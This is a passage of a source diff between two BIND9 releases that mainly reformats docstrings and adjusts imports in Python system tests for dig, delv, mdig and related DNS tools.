edns_yaml(result.out, "response")["EXPIRE"] == 1200 assert "EXPIRE: 1200 # 20 minutes" in result.out def test_keepalive(dig, ns1): - """Check that dig processes +keepalive.""" + """ + Check that dig processes +keepalive. + """ result = dig(f"@{ns1.ip} +keepalive . soa +tcp") assert "; TCP-KEEPALIVE: 30.0 secs" in result.out def test_keepalive_yaml(dig, ns1): - """Check that dig processes +keepalive with +yaml.""" + """ + Check that dig processes +keepalive with +yaml. + """ result = dig(f"@{ns1.ip} +yaml +keepalive . soa +tcp") assert edns_yaml(result.out, "response")["TCP-KEEPALIVE"] == "30.0 secs" @@ -533,8 +635,10 @@ ], ) def test_ednsopt_ede(dig, ns3, payload, expected): - """Check that Extended DNS Error options, including invalid ones with - a too short payload, are printed correctly.""" + """ + Check that Extended DNS Error options, including invalid ones with + a too short payload, are printed correctly. + """ result = dig(f"@{ns3.ip} +ednsopt={payload} a.example +qr") assert Re("^" + re.escape(expected) + "$") in result.out @@ -548,8 +652,10 @@ ], ) def test_ednsopt_ede_yaml(dig, ns3, payload, info_code, extra_text): - """Check that Extended DNS Error options are printed correctly - with +yaml.""" + """ + Check that Extended DNS Error options are printed correctly + with +yaml. + """ result = dig(f"@{ns3.ip} +yaml +ednsopt={payload} a.example +qr") ede = edns_yaml(result.out)["EDE"] assert ede["INFO-CODE"] == info_code @@ -560,8 +666,10 @@ def test_ednsopt_ede_yaml_specials(dig, ns3): - """Check that EDE extra text with '"' and '\\' specials survives YAML - quoting.""" + """ + Check that EDE extra text with '"' and '\\' specials survives YAML + quoting. + """ result = dig(f"@{ns3.ip} +yaml +ednsopt=ede:0000666f6f225c a.example +qr") assert edns_yaml(result.out)["EDE"]["EXTRA-TEXT"] == 'foo"\\' @@ -574,30 +682,38 @@ ], ) def test_ednsopt_ede_yaml_invalid(dig, ns3, payload, expected): - """Check that invalid Extended DNS Error options with a too short - payload are printed correctly with +yaml.""" + """ + Check that invalid Extended DNS Error options with a too short + payload are printed correctly with +yaml. + """ result = dig(f"@{ns3.ip} +yaml +ednsopt={payload} a.example +qr") assert edns_yaml(result.out)["EDE"] == expected def test_ednsopt_malformed(dig, ns3): - """Check that dig handles the malformed option '+ednsopt=:' - gracefully.""" + """ + Check that dig handles the malformed option '+ednsopt=:' + gracefully. + """ result = dig(f"@{ns3.ip} +ednsopt=: a.example", raise_on_exception=False) assert result.rc != 0 assert "ednsopt no code point specified" in result.err def test_ednsflags_reenables_edns(dig, ns3): - """Check that +noedns +ednsflags= re-enables EDNS.""" + """ + Check that +noedns +ednsflags= re-enables EDNS. + """ result = dig(f"@{ns3.ip} +qr +noedns +ednsflags=0x70 a.example") assert "; EDNS: version: 0, flags:; MBZ: 0x0070, udp: 1232" in result.out assert "; EDNS: version: 0, flags:; udp: 1232" in result.out def test_showbadvers(dig, ns3): - """Check that +showbadvers displays the BADVERS response as well as - the retry without EDNS version 1.""" + """ + Check that +showbadvers displays the BADVERS response as well as + the retry without EDNS version 1. + """ result = dig(f"@{ns3.ip} +edns=1 +qr +showbadvers a.example") assert "; EDNS: version: 1, flags:; udp: 1232" in result.out assert "; EDNS: version: 0, flags:; udp: 1232" in result.out @@ -606,14 +722,18 @@ def test_subnet(dig, ns2): - """Check that dig +subnet sends the client subnet.""" + """ + Check that dig +subnet sends the client subnet. + """ result = dig(f"+tcp @{ns2.ip} +subnet=127.0.0.1 A a.example") assert "CLIENT-SUBNET: 127.0.0.1/32/0" in result.out assert check_ttl_range(result.out, "A", 300) def test_subnet_last_wins(dig, ns2): - """Check that the last of multiple +subnet options wins.""" + """ + Check that the last of multiple +subnet options wins. + """ result = dig(f"+tcp @{ns2.ip} +subnet=127.0.0.0 +subnet=127.0.0.1 A a.example") assert "CLIENT-SUBNET: 127.0.0.1/32/0" in result.out assert check_ttl_range(result.out, "A", 300) @@ -621,8 +741,10 @@ @pytest.mark.parametrize("plen", range(1, 25)) def test_subnet_prefix_lengths(dig, ns2, plen): - """Check that dig +subnet masks the address to various prefix - lengths.""" + """ + Check that dig +subnet masks the address to various prefix + lengths. + """ result = dig(f"+tcp @{ns2.ip} +subnet=255.255.255.255/{plen} A a.example") addr = ipaddress.ip_address((0xFFFFFFFF << (32 - plen)) & 0xFFFFFFFF) assert "FORMERR" not in result.out @@ -632,7 +754,9 @@ @pytest.mark.parametrize("plen", range(9, 16)) def test_subnet_prefix_between_byte_boundaries(dig, ns2, plen): - """Check dig +subnet with prefix lengths between byte boundaries.""" + """ + Check dig +subnet with prefix lengths between byte boundaries. + """ result = dig(f"+tcp @{ns2.ip} +subnet=10.53/{plen} A a.example") assert "FORMERR" not in result.out assert Re(rf"CLIENT-SUBNET.*/{plen}/0") in result.out @@ -648,7 +772,9 @@ @pytest.mark.parametrize("option,subnet", ZERO_SUBNETS) def test_subnet_zero(dig, ns2, option, subnet): - """Check that a zero-length client subnet is sent and answered.""" + """ + Check that a zero-length client subnet is sent and answered. + """ result = dig(f"+tcp @{ns2.ip} {option} A a.example") assert "status: NOERROR" in result.out assert f"CLIENT-SUBNET: {subnet}" in result.out @@ -658,37 +784,47 @@ @pytest.mark.parametrize("option,subnet", ZERO_SUBNETS) def test_subnet_zero_yaml(dig, ns2, option, subnet): - """Check that a zero-length client subnet is echoed in the +yaml - response.""" + """ + Check that a zero-length client subnet is echoed in the +yaml + response. + """ result = dig(f"+yaml +tcp @{ns2.ip} {option} A a.example") assert edns_yaml(result.out, "response")["CLIENT-SUBNET"] == subnet def test_subnet_yaml(dig, ns2): - """Check that +subnet=dead::/16 is shown in the +yaml query.""" + """ + Check that +subnet=dead::/16 is shown in the +yaml query. + """ result = dig(f"+yaml +tcp @{ns2.ip} +qr +subnet=dead::/16 A a.example") assert edns_yaml(result.out)["CLIENT-SUBNET"] == "dead::/16/0" def test_subnet_raw_zero(dig, ns2): - """Check that a raw zero-length ECS option (family 0, source 0, - scope 0) is rejected by the server with FORMERR.""" + """ + Check that a raw zero-length ECS option (family 0, source 0, + scope 0) is rejected by the server with FORMERR. + """ result = dig(f"+tcp @{ns2.ip} +ednsopt=8:00000000 A a.example") assert "status: FORMERR" in result.out assert "CLIENT-SUBNET" not in result.out def test_subnet_raw_unknown_family(dig, ns2): - """Check that a raw ECS option with an unknown family (3) is sent - as-is and rejected by the server with FORMERR.""" + """ + Check that a raw ECS option with an unknown family (3) is sent + as-is and rejected by the server with FORMERR. + """ result = dig(f"+qr +tcp @{ns2.ip} +ednsopt=8:00030000 A a.example") assert "status: FORMERR" in result.out assert len(result.out.grep("CLIENT-SUBNET: 00 03 00 00")) == 1 def test_origin_preserved_on_tcp_retries(dig, ans4): - """Check that dig preserves the search origin when retrying over - TCP.""" + """ + Check that dig preserves the search origin when retrying over + TCP. + """ result = dig( f"-d +tcp @{ans4.ip} +retry=1 +time=1 +domain=bar foo", raise_on_exception=False, @@ -699,7 +835,9 @@ def test_4_and_6_mutually_exclusive(dig, ns2): - """Check that dig rejects -4 combined with -6.""" + """ + Check that dig rejects -4 combined with -6. + """ result = dig(f"+tcp @{ns2.ip} -4 -6 A a.example", raise_on_exception=False) assert result.rc != 0 assert "only one of -4 and -6 allowed" in result.err @@ -707,7 +845,9 @@ @isctest.mark.with_ipv6 def test_ipv6_server_with_ipv4_only(dig): - """Check that dig -4 rejects an IPv6 server address.""" + """ + Check that dig -4 rejects an IPv6 server address. + """ result = dig("+tcp @fd92:7065:b8e:ffff::2 -4 A a.example", raise_on_exception=False) assert result.rc != 0 assert "address family not supported" in result.err @@ -716,15 +856,19 @@ @isctest.mark.with_ipv6 @pytest.mark.parametrize("option", ["+tcp", "+notcp"]) def test_ipv4_server_with_ipv6_only(dig, ns2, option): - """Check that dig -6 does not use a mapped form of an IPv4 server - address.""" + """ + Check that dig -6 does not use a mapped form of an IPv4 server + address. + """ result = dig(f"{option} @{ns2.ip} -6 A a.example") assert f"SERVER: ::ffff:{ns2.ip}#" not in result.out @pytest.fixture(name="set_response_sequence") def set_response_sequence_fixture(dig, ans5): - """Arm the sequence of AXFR responses served by ans5.""" + """ + Arm the sequence of AXFR responses served by ans5. + """ def _set(sequence): dig(f"@{ans5.ip} {sequence}.response-sequence._control TXT") @@ -747,8 +891,10 @@ def test_axfr_retry_upon_tcp_eof( dig, ans5, set_response_sequence, sequence, tries, expect_failure, eof_errors ): - """Check the exit code and the number of retries for an AXFR retried - upon TCP EOF.""" + """ + Check the exit code and the number of retries for an AXFR retried + upon TCP EOF. + """ set_response_sequence(sequence) result = dig(f"@{ans5.ip} example AXFR +tries={tries}", raise_on_exception=False) assert (result.rc != 0) == expect_failure @@ -758,7 +904,9 @@ def test_axfr_no_retry_with_retry_0(dig, ans5, set_response_sequence): - """Check that +retry=0 does not retry upon TCP EOF.""" + """ + Check that +retry=0 does not retry upon TCP EOF. + """ set_response_sequence("no-response") result = dig(f"@{ans5.ip} example AXFR +retry=0", raise_on_exception=False) assert result.rc != 0 @@ -775,14 +923,18 @@ ], ) def test_timeout_then_servfail(dig, ans7, option): - """Check that dig handles a timeout followed by a SERVFAIL - correctly. See GL #3020 for more information.""" + """ + Check that dig handles a timeout followed by a SERVFAIL + correctly. See GL #3020 for more information. + """ result = dig(f"+timeout=1 +nofail {option} @{ans7.ip} silent-then-servfail.example") assert "status: SERVFAIL" in result.out def test_comments_retry_comment(dig, ans7): - """Check that dig +comments emits the retry comment.""" + """ + Check that dig +comments emits the retry comment. + """ result = dig( f"+timeout=1 +nofail +comments @{ans7.ip} silent-then-servfail.example" ) @@ -790,11 +942,13 @@ def test_short_comments_suppresses_retry_comment(dig, ans7): - """Check that dig +short +comments does not leak the ";; " comments + """ + Check that dig +short +comments does not leak the ";; " comments into the short-form output. +short normally turns comments off, but "+short +comments" re-enables them while short form is still in effect; the comment output then belongs to the verbose form and - would corrupt the short output.""" + would corrupt the short output. + """ result = dig( f"+timeout=1 +nofail +short +comments @{ans7.ip} silent-then-servfail.example" ) @@ -812,35 +966,43 @@ ], ) def test_next_server_after_network_unreachable(dig, ns3, option): - """Check that dig tries the next server after a socket network - unreachable error.""" + """ + Check that dig tries the next server after a socket network + unreachable error. + """ result = dig(f"{option} @192.0.2.128 @{ns3.ip} a.example") assert len(result.out.grep(ERROR_PATTERN)) == 3 assert "status: NOERROR" in result.out def test_next_server_after_udp_read_error(dig, ns3): - """Check that dig tries the next server after a UDP socket read - error.""" + """ + Check that dig tries the next server after a UDP socket read + error. + """ result = dig(f"@10.53.0.99 @{ns3.ip} a.example") assert "status: NOERROR" in result.out def test_next_server_after_tcp_read_error(dig, ans7, ns3): - """Check that dig tries the next server after a TCP socket read - error.""" + """ + Check that dig tries the next server after a TCP socket read + error. + """ result = dig(f"+tcp @{ans7.ip} @{ns3.ip} close.example") assert "status: NOERROR" in result.out def test_next_server_after_tcp_connection_error(dig, ns3): - """Check that dig tries the next server after a TCP socket connection + """ + Check that dig tries the next server after a TCP socket connection error/timeout. The connection error and timeout cases are combined, because it is not trivial to simulate the timeout case in a system test in Linux without a firewall, but the code which handles error cases during connection establishment does not differentiate between timeout and other types of errors (unlike during reading), so this - one check should be sufficient for both cases.""" + one check should be sufficient for both cases. + """ result = dig(f"+tcp @10.53.0.99 @{ns3.ip} a.example") assert len(result.out.grep(ERROR_PATTERN)) == 3 assert "status: NOERROR" in result.out @@ -854,32 +1016,40 @@ ], ) def test_next_server_after_read_timeout(dig, ans7, ns3, option): - """Check that dig tries the next server after socket read timeouts.""" + """ + Check that dig tries the next server after socket read timeouts. + """ result = dig(f"+timeout=1 {option} @{ans7.ip} @{ns3.ip} silent.example") assert "status: NOERROR" in result.out def test_mapped_ipv6_server_refused(dig, ans7): - """Check that dig refuses to use a server with an IPv4-mapped IPv6 + """ + Check that dig refuses to use a server with an IPv4-mapped IPv6 address after failing with the regular IP address. See GL #3248 - for more information.""" + for more information. + """ result = dig(f"@{ans7.ip} @::ffff:{ans7.ip} silent.example") assert ";; Skipping mapped address" in result.out assert ";; No acceptable nameservers" in result.out def test_qr_and_y_with_failed_query(dig, ns3): - """Check that dig handles printing query information with +qr and +y + """ + Check that dig handles printing query information with +qr and +y when multiple queries are involved, including a failed one. See - GL #3244 for more information.""" + GL #3244 for more information. + """ result = dig(f"+timeout=1 +qr +y @127.0.0.1 @{ns3.ip} a.example") assert "IN A 10.0.0.1" in result.out def test_startup_banner_default(dig, ans7): - """Check that dig prints the startup banner by default, including on + """ + Check that dig prints the startup banner by default, including on the error path. This makes the absence check with +nocmd - meaningful.""" + meaningful. + """ result = dig( f"silent.example @{ans7.ip} +notcp +timeout=1 +tries=1", raise_on_exception=False, @@ -890,10 +1060,12 @@ def test_nocmd_after_query_name(dig, ans7): - """Check that +nocmd placed after the query name suppresses the + """ + Check that +nocmd placed after the query name suppresses the startup banner, including on the error path. This regressed because the banner was built as soon as the query name was seen, before - +nocmd had been parsed.""" + +nocmd had been parsed. + """ result = dig( f"silent.example @{ans7.ip} +notcp +timeout=1 +tries=1 +nocmd", raise_on_exception=False, @@ -904,12 +1076,14 @@ def test_yaml_valid_when_no_server_reached(dig, ans7): - """Check that dig +yaml produces valid YAML when no servers could be + """ + Check that dig +yaml produces valid YAML when no servers could be reached; the ";"-prefixed startup banner must not precede the DIG_ERROR block. The query name is deliberately placed before +yaml on the command line: that is what makes dig build the banner (while +cmd is still in effect) before switching to YAML output, which is - the ordering that regressed.""" + the ordering that regressed. + """ result = dig( f"silent.example @{ans7.ip} +notcp +timeout=1 +tries=1 +yaml", raise_on_exception=False, @@ -920,18 +1094,22 @@ @isctest.mark.with_ipv6 def test_source_address_both_families_no_crash(dig, ns1): - """Check that dig with an IPv4 source address and a server with both + """ + Check that dig with an IPv4 source address and a server with both IPv4 and IPv6 addresses does not crash. @localhost is not really expected to have an answer for the query; only a crash (termination by a signal) is an error. Without IPv6, @localhost resolves to the IPv4 address only and the address-family mismatch under test never - happens. See GL #5609 for more information.""" + happens. See GL #5609 for more information. + """ result = dig(f"@localhost example -b {ns1.ip}", raise_on_exception=False) assert result.rc >= 0 def test_yaml_any_output(dig, ns3): - """Check the structure of dig +yaml output for an ANY query.""" + """ + Check the structure of dig +yaml output for an ANY query. + """ result = dig(f"+qr +yaml @{ns3.ip} any ns2.example") messages = parse_yaml(result.out) query = messages[0]["message"]["query_message_data"] @@ -942,7 +1120,9 @@ def test_yaml_ipv6_trailing_zeroes(dig, ns3): - """Check dig +yaml output of an IPv6 address ending in zeroes.""" + """ + Check dig +yaml output of an IPv6 address ending in zeroes. + """ result = dig(f"+qr +yaml @{ns3.ip} aaaa d.example") response = parse_yaml(result.out)[1]["message"]["response_message_data"] answer = response["ANSWER_SECTION"][0] @@ -953,8 +1133,10 @@ "qname", ["yaml", "'.yaml", "[.yaml", "{.yaml", "&.yaml", "#.yaml"] ) def test_yaml_special_characters_in_qname(dig, ns3, qname): - """Check that qnames containing characters special to YAML are quoted - correctly in dig +yaml output.""" + """ + Check that qnames containing characters special to YAML are quoted + correctly in dig +yaml output. + """ result = dig(f"@{ns3.ip} +yaml {qname}.example TXT +qr") query = parse_yaml(result.out)[0]["message"]["query_message_data"] question = query["QUESTION_SECTION"][0] @@ -965,8 +1147,10 @@ def test_yaml_character_values(dig, ns3): - """Check the quoting of all 256 character values in dig +yaml TXT - output.""" + """ + Check the quoting of all 256 character values in dig +yaml TXT + output. + """ def quoted(i): char = chr(i) diff -Nru bind9-9.20.29/bin/tests/system/digdelv/tests_digdelv_delv.py bind9-9.20.30/bin/tests/system/digdelv/tests_digdelv_delv.py --- bind9-9.20.29/bin/tests/system/digdelv/tests_digdelv_delv.py 2026-09-11 19:41:01.159322790 +0000 +++ bind9-9.20.30/bin/tests/system/digdelv/tests_digdelv_delv.py 2026-10-12 13:12:08.056892407 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -38,38 +38,48 @@ @pytest.mark.parametrize("option", ["+short", "+sh"]) def test_short(delv, ns3, option): - """Check that delv +short (and its +sh abbreviation) returns a - single-line answer.""" + """ + Check that delv +short (and its +sh abbreviation) returns a + single-line answer. + """ result = delv(f"@{ns3.ip} {option} a a.example") assert len(result.out.splitlines()) == 1 @pytest.mark.parametrize("option", ["+split=4", "+sp=4"]) def test_split_width(delv, ns3, option): - """Check that delv +split (and its +sp abbreviation) splits hex data - into fields of the requested width.""" + """ + Check that delv +split (and its +sp abbreviation) splits hex data + into fields of the requested width. + """ result = delv(f"@{ns3.ip} {option} -t sshfp foo.example") assert " 9ABC DEF6 7890 " in result.out assert check_ttl_range(result.out, "SSHFP", 300) def test_unknownformat(delv, ns3): - """Check that delv +unknownformat prints RFC 3597 format.""" + """ + Check that delv +unknownformat prints RFC 3597 format. + """ result = delv(f"@{ns3.ip} +unknownformat a a.example") assert Re(r"CLASS1\s+TYPE1\s+\\# 4 0A000001") in result.out assert check_ttl_range(result.out, "TYPE1", 300) def test_4_and_6_mutually_exclusive(delv, ns3): - """Check that delv rejects -4 combined with -6.""" + """ + Check that delv rejects -4 combined with -6. + """ result = delv(f"@{ns3.ip} -4 -6 A a.example", raise_on_exception=False) assert result.rc != 0 assert "only one of -4 and -6 allowed" in result.err def test_malformed_query_name(delv, ns3): - """Check that delv exits cleanly on a malformed query name instead of - aborting in the dns_client_detach(NULL) cleanup path.""" + """ + Check that delv exits cleanly on a malformed query name instead of + aborting in the dns_client_detach(NULL) cleanup path. + """ longlabel = "a" * 64 result = delv(f"@{ns3.ip} -t a {longlabel}.example.com", raise_on_exception=False) assert result.rc >= 0 @@ -93,8 +103,10 @@ ], ) def test_address_family_mismatch(delv, ns3, server_args, message): - """Check that the last @server option overrides earlier ones and that - the forced address family makes such a lookup fail.""" + """ + Check that the last @server option overrides earlier ones and that + the forced address family makes such a lookup fail. + """ result = delv( server_args.format(ns3=ns3.ip) + " -t txt foo.example", raise_on_exception=False, @@ -106,7 +118,9 @@ def test_reverse_lookup(delv, ns3): - """Check that delv -x works.""" + """ + Check that delv -x works. + """ result = delv(f"@{ns3.ip} -x 127.0.0.1") # doesn't matter if has answer assert Re(r"127\.in-addr\.arpa\.", re.IGNORECASE) in result.out @@ -114,7 +128,9 @@ def test_tcp(delv, ns3): - """Check that delv over TCP works.""" + """ + Check that delv over TCP works. + """ result = delv(f"+tcp @{ns3.ip} a a.example") assert Re(r"10\.0\.0\.1$") in result.out assert check_ttl_range(result.out, "A", 300) @@ -140,8 +156,10 @@ ], ) def test_rrcomments(delv, ns3, zsk, args, expect_rrcomment, ttl_rrtype): - """Check that +[no]rrcomments controls the DNSKEY comment - (the default is rrcomments, even with +multi).""" + """ + Check that +[no]rrcomments controls the DNSKEY comment + (the default is rrcomments, even with +multi). + """ result = delv(f"+tcp @{ns3.ip} {args}") assert (zsk.rrcomment in result.out) == expect_rrcomment if ttl_rrtype: @@ -149,13 +167,17 @@ def test_short_rrcomments_line(delv, ns3, zsk): - """Check the exact delv +short +rrcomments output line.""" + """ + Check the exact delv +short +rrcomments output line. + """ result = delv(f"+tcp @{ns3.ip} +short +rrcomments DNSKEY example") assert f"{zsk.keydata} {zsk.rrcomment}" in result.out def test_short_nosplit(delv, ns3, zsk): - """Check that delv +short +nosplit does not split the key data.""" + """ + Check that delv +short +nosplit does not split the key data. + """ result = delv(f"+tcp @{ns3.ip} +short +nosplit DNSKEY example") assert zsk.keydata.replace(" ", "") in result.out assert len(result.out.splitlines()) == 1 @@ -163,8 +185,10 @@ def test_short_nosplit_norrcomments(delv, ns3, zsk): - """Check that delv +short +nosplit +norrcomments prints the bare - unsplit rdata.""" + """ + Check that delv +short +nosplit +norrcomments prints the bare + unsplit rdata. + """ result = delv(f"+tcp @{ns3.ip} +short +nosplit +norrcomments DNSKEY example") nosplit = zsk.keydata.replace(" ", "") assert Re(re.escape(nosplit) + "$") in result.out @@ -180,16 +204,20 @@ ], ) def test_class_option(delv, ns3, qclass): - """Check that delv -c IN works and that -c CH is ignored and treated - like IN.""" + """ + Check that delv -c IN works and that -c CH is ignored and treated + like IN. + """ result = delv(f"@{ns3.ip} -c {qclass} -t a a.example") assert "a.example." in result.out assert check_ttl_range(result.out, "A", 300) def test_q_m(delv, ns3): - """Check that -q -m treats -m as a query name, not as the memory - debugging flag.""" + """ + Check that -q -m treats -m as a query name, not as the memory + debugging flag. + """ result = delv(f"@{ns3.ip} -q -m") assert Re(r"^; -m\..*\d*.*IN.*ANY.*;") in result.out for stream in (result.out, result.err): @@ -199,7 +227,9 @@ def test_any_query(delv, ns3): - """Check that delv -t ANY works.""" + """ + Check that delv -t ANY works. + """ result = delv(f"@{ns3.ip} -t ANY example") assert Re(r"^example\.") in result.out assert check_ttl_range(result.out, "NS", 300) @@ -214,20 +244,26 @@ ], ) def test_trust_anchors(delv, ns3, anchor): - """Check that delv loads key-style and DS-style trust anchors and - validates with them.""" + """ + Check that delv loads key-style and DS-style trust anchors and + validates with them. + """ result = delv(f"-a ns3/{anchor} +root=example @{ns3.ip} -t DNSKEY example") assert "fully validated" in result.out def test_refused_chasing_ds(delv, ns2): - """Check that delv handles REFUSED when chasing DS records.""" + """ + Check that delv handles REFUSED when chasing DS records. + """ result = delv(f"@{ns2.ip} +root xxx.example.tld A") assert ";; resolution failed: broken trust chain" in result.err def test_yaml_any(delv, ns3): - """Check the structure of delv +yaml output.""" + """ + Check the structure of delv +yaml output. + """ result = delv(f"+yaml @{ns3.ip} any ns2.example") data = parse_yaml(result.out) assert data["status"] == "success" @@ -244,7 +280,9 @@ ], ) def test_yaml_negative(delv, ns3, qtype, qname, status): - """Check the structure of delv +yaml output for negative responses.""" + """ + Check the structure of delv +yaml output for negative responses. + """ result = delv(f"+yaml @{ns3.ip} {qtype} {qname}") data = parse_yaml(result.out) assert data["status"] == status @@ -255,7 +293,9 @@ @pytest.mark.usefixtures("ns1") def test_ns_output(delv): - """Check the NS records in delv +ns output.""" + """ + Check the NS records in delv +ns output. + """ result = delv( "-i +ns +nortrace +nostrace +nomtrace +novtrace +hint=root.hint ns example" ) @@ -298,8 +338,10 @@ ) @pytest.mark.usefixtures("ns1") def test_ns_lookup(delv, args, marker, expect_no_qmin_labels): - """Check delv +ns lookups with and without validation and query name - minimization.""" + """ + Check delv +ns lookups with and without validation and query name + minimization. + """ result = delv(f"{args} a a.example") assert marker in result.out if expect_no_qmin_labels: @@ -310,8 +352,10 @@ @pytest.mark.parametrize("family", ["-4", "-6"]) @pytest.mark.usefixtures("ns1") def test_ns_address_family(delv, family): - """Check that delv +ns with -4/-6 uses only the selected address - family.""" + """ + Check that delv +ns with -4/-6 uses only the selected address + family. + """ ipv4_packet = "sending packet to 10.53" ipv6_packet = "sending packet to fd92:7065" result = delv( diff -Nru bind9-9.20.29/bin/tests/system/digdelv/tests_mdig.py bind9-9.20.30/bin/tests/system/digdelv/tests_mdig.py --- bind9-9.20.29/bin/tests/system/digdelv/tests_mdig.py 2026-09-11 19:41:01.159322790 +0000 +++ bind9-9.20.30/bin/tests/system/digdelv/tests_mdig.py 2026-10-12 13:12:08.056892407 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -32,12 +32,14 @@ def test_tcp_with_source_address_and_port(mdig, ns3): - """Check that mdig +tcp works with a source address and port. When + """ + Check that mdig +tcp works with a source address and port. When running more than once in quick succession with a source address#port, the query can fail with "response failed with address not available" because the address#port is still busy; that error is not interesting, only the unexpected error case is. See GL #4969 - for more information.""" + for more information. + """ extraport8 = os.environ["EXTRAPORT8"] result = mdig( f"-b {ns3.ip}#{extraport8} +tcp @{ns3.ip} example", raise_on_exception=False @@ -47,35 +49,45 @@ def test_ednsopt_malformed(mdig, ns3): - """Check that mdig handles the malformed option '+ednsopt=:' - gracefully.""" + """ + Check that mdig handles the malformed option '+ednsopt=:' + gracefully. + """ result = mdig(f"@{ns3.ip} +ednsopt=: a.example", raise_on_exception=False) assert result.rc != 0 assert "ednsopt no code point specified" in result.err def test_ednsopt_ednsopts(mdig, ns3): - """Check that mdig handles multiple queries with ednsopts.""" + """ + Check that mdig handles multiple queries with ednsopts. + """ result = mdig(f"@{ns3.ip} +ednsopt=100:00 a.example b.example") assert result.rc == 0 def test_dnskey_norrcomments(mdig, ns3, zsk): - """Check that +multi +norrcomments suppresses the DNSKEY comment - (the default is rrcomments).""" + """ + Check that +multi +norrcomments suppresses the DNSKEY comment + (the default is rrcomments). + """ result = mdig(f"+tcp @{ns3.ip} +multi +norrcomments -t DNSKEY example") assert zsk.rrcomment not in result.out def test_soa_norrcomments(mdig, ns3): - """Check that +multi +norrcomments suppresses the SOA field - comments.""" + """ + Check that +multi +norrcomments suppresses the SOA field + comments. + """ result = mdig(f"+tcp @{ns3.ip} +multi +norrcomments -t SOA example") assert "; serial" not in result.out def test_yaml_output(mdig, ns3): - """Check the structure of mdig +yaml output.""" + """ + Check the structure of mdig +yaml output. + """ result = mdig(f"+yaml @{ns3.ip} -t any ns2.example") response = parse_yaml(result.out)[0]["message"]["response_message_data"] assert response["status"] == "NOERROR" diff -Nru bind9-9.20.29/bin/tests/system/digdelv/tests_others.py bind9-9.20.30/bin/tests/system/digdelv/tests_others.py --- bind9-9.20.29/bin/tests/system/digdelv/tests_others.py 2026-09-11 19:41:01.159322790 +0000 +++ bind9-9.20.30/bin/tests/system/digdelv/tests_others.py 2026-10-12 13:12:08.056892407 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -26,7 +26,9 @@ def test_nslookup_update_response(named_port, ans6): - """Check that nslookup rejects a response with the UPDATE opcode.""" + """ + Check that nslookup rejects a response with the UPDATE opcode. + """ nslookup = isctest.run.EnvCmd("NSLOOKUP") result = nslookup( f"-port={named_port} -q=CNAME -timeout=1 foo.bar {ans6.ip}", @@ -37,7 +39,9 @@ def test_host_update_response(named_port, ans6): - """Check that host rejects a response with the UPDATE opcode.""" + """ + Check that host rejects a response with the UPDATE opcode. + """ host = isctest.run.EnvCmd("HOST") result = host( f"-p {named_port} -W 1 -t CNAME foo.bar {ans6.ip}", raise_on_exception=False @@ -47,7 +51,9 @@ def test_nsupdate_update_response(named_port, ans6): - """Check that nsupdate rejects an UPDATE response to its SOA query.""" + """ + Check that nsupdate rejects an UPDATE response to its SOA query. + """ nsupdate = isctest.run.EnvCmd("NSUPDATE") commands = dedent(f"""\ server {ans6.ip} {named_port} diff -Nru bind9-9.20.29/bin/tests/system/dispatch/ans3/ans.py bind9-9.20.30/bin/tests/system/dispatch/ans3/ans.py --- bind9-9.20.29/bin/tests/system/dispatch/ans3/ans.py 2026-09-11 19:41:01.159322790 +0000 +++ bind9-9.20.30/bin/tests/system/dispatch/ans3/ans.py 2026-10-12 13:12:08.056892407 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -16,19 +16,18 @@ from isctest.asyncserver import ( AsyncDnsServer, - ConnectionReset, DnsProtocol, - DnsResponseSend, QueryContext, - ResponseAction, ResponseHandler, ) +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.handlers import ConnectionReset class TruncateOnUdpHandler(ResponseHandler): async def get_responses( self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: + ) -> AsyncGenerator[DnsResponseSend, None]: assert qctx.protocol == DnsProtocol.UDP, "This server only supports UDP" qctx.response.flags |= dns.flags.TC yield DnsResponseSend(qctx.response) diff -Nru bind9-9.20.29/bin/tests/system/dispatch/ans4/ans.py bind9-9.20.30/bin/tests/system/dispatch/ans4/ans.py --- bind9-9.20.29/bin/tests/system/dispatch/ans4/ans.py 2026-09-11 19:41:01.160322814 +0000 +++ bind9-9.20.30/bin/tests/system/dispatch/ans4/ans.py 2026-10-12 13:12:08.057892428 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -14,18 +14,16 @@ from isctest.asyncserver import ( AsyncDnsServer, DnsProtocol, - DnsResponseSend, QueryContext, - ResponseAction, - ResponseDrop, ResponseHandler, ) +from isctest.asyncserver.actions import DnsResponseSend, ResponseDrop class TcpOnlyHandler(ResponseHandler): async def get_responses( self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: + ) -> AsyncGenerator[DnsResponseSend | ResponseDrop, None]: if qctx.protocol == DnsProtocol.TCP: yield DnsResponseSend(qctx.response) else: diff -Nru bind9-9.20.29/bin/tests/system/dispatch/ans4/tcp-only.db bind9-9.20.30/bin/tests/system/dispatch/ans4/tcp-only.db --- bind9-9.20.29/bin/tests/system/dispatch/ans4/tcp-only.db 2026-09-11 19:41:01.160322814 +0000 